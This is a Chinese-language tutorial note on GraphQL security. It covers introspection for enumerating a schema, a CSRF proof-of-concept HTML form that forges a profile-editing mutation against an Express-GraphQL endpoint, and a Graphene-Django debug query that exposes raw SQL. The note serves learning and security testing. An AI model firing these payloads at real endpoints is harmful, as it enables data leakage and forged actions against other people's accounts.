GraphQL 注入笔记
GraphQL
GraphQL 是 Facebook 开发的一种 API 查询语言,于 2015 年正式发布,被视为 REST API 的替代方案。
GraphQL 既是一种用于 API 的查询语言,也是一个满足数据查询需求的运行时。它为 API 中的数据提供了一套易于理解的完整描述,使客户端能够精确获取所需数据,且无任何冗余。这不仅让 API 更易于随时间演进,还能用于构建强大的开发者工具。

内省
有时需要查询 GraphQL Schema 以了解其支持的查询类型。
利用 GraphQL 的 内省 机制,可以查询出 GraphQL 中所有的 Query、Mutation、ObjectType、Field 和 Arguments。
查询所有类型
{ __schema { types { name } }}返回结果:
{ "data": { "__schema": { "types": [ { "name": "Query" }, { "name": "String" }, { "name": "ID" }, { "name": "Mutation" }, { "name": "Episode" }, { "name": "Character" }, { "name": "Int" }, { "name": "LengthUnit" }, { "name": "Human" }, { "name": "Float" }, { "name": "Droid" }, { "name": "FriendsConnection" }, { "name": "FriendsEdge" }, { "name": "PageInfo" }, { "name": "Boolean" }, { "name": "Review" }, { "name": "ReviewInput" }, { "name": "Starship" }, { "name": "SearchResult" }, { "name": "__Schema" }, { "name": "__Type" }, { "name": "__TypeKind" }, { "name": "__Field" }, { "name": "__InputValue" }, { "name": "__EnumValue" }, { "name": "__Directive" }, { "name": "__DirectiveLocation" } ] } }}- Query, Character, Human, Episode, Droid, Mutation:这些是在类型系统中定义的类型。
- String, Boolean:这些是内建的标量类型,由类型系统提供。
- __Schema, __Type, __TypeKind, __Field, __InputValue, __EnumValue, __Directive:以两个下划线开头的类型属于内省系统的一部分。
- 其余为自定义类型。
查询一个类型的所有字段
{ __type (name: "Query") { # 查询 Query 类型的所有字段 name fields { name type { name kind ofType { name kind } } } }}返回(此处返回的是定义在 Query 类型中的查询字段):

查询(Query)
Note
无论是 SQL 还是 GraphQL,本质都是为了检索数据。
{ users { # 要求查询 users __typename # 查询的 users 类型为 User,取其类型名 }}一般情况下,查询操作最前面可以加上操作符 query,若省略则默认为查询操作。
返回:
{ "data": { "users": [ "User", "User" ] }}变量
只需在 JSON 数据中指定 variables 即可。
# json 参数示例: { "graphiql": true, "variables": { "episode": "JEDI" } }query HeroNameAndFriends($episode: Episode) { hero(episode: $episode) { name friends { name } }}这意味着查询参数将是动态的 —— 我们绝不能使用用户提供的值通过字符串插值来构建查询。
GraphQL 注入

变更(Mutation)
“变更”一词字面意思略显生硬,我更倾向于将其称为执行。
mutation CreateReviewForEpisode($ep: Episode!, $review: ReviewInput!) {# 操作符 操作描述 createReview(episode: $ep, review: $review) { # 执行 stars commentary }}{ "data": { "createReview": { "stars": 5, "commentary": "This is a great movie!" } }}漏洞
敏感信息泄露与越权
GraphQL 是一门自带文档的技术。利用内省机制,即可列出 GraphQL 中的所有 Query、Mutation、ObjectType、Field 和 Arguments。
随后,通过 Query 中泄露的查询字段去查询对应的类型,便可能发现许多敏感信息。

Express-GraphQL Endpoint CSRF 漏洞
原因在于该框架将 JSON 和表单数据解析为表单参数的关系。
<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://graphqlapp.herokuapp.com/" method="POST"> <input type="hidden" name="query"value="mutation { editProfile(name:"hacker", age: 5) { name age }}" /> <input type="submit" value="Submit request" /> </form> </body></html>Graphene-Django DEBUG 模式下的安全问题
{ card(id: 1) { id title } __debug { # 开启 debug 可以看到查询的 SQL 语句 sql { sql rawSql params } }}返回:
{ "data": { "card": null, "__debug": { "sql": [ { "sql": "SELECT ...", "rawSql": "SELECT ...", "params": "[5, 6, ...]" } ...